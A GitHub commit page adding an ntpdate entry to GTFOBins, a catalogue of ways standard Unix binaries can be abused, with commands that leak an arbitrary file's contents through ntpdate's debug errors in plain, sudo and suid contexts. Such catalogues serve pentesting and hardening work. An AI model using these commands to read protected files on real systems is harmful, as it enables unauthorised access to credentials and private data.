Skip to content

Commit

Permalink
Add ntpdate
Browse files Browse the repository at this point in the history
Co-authored-by: Andrea Cardaci <[email protected]>
  • Loading branch information
bl33dz and cyrus-and committed Dec 23, 2023
1 parent 6921399 commit e988dbb
Showing 1 changed file with 16 additions and 0 deletions.
16 changes: 16 additions & 0 deletions _gtfobins/ntpdate.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
---
description: The file is actually parsed and lines are leaked through error messages.
functions:
file-read:
- code: |
LFILE=file_to_read
ntpdate -a x -k $LFILE -d localhost
sudo:
- code: |
LFILE=file_to_read
sudo ntpdate -a x -k $LFILE -d localhost
suid:
- code: |
LFILE=file_to_read
./ntpdate -a x -k $LFILE -d localhost
---

0 comments on commit e988dbb

Please sign in to comment.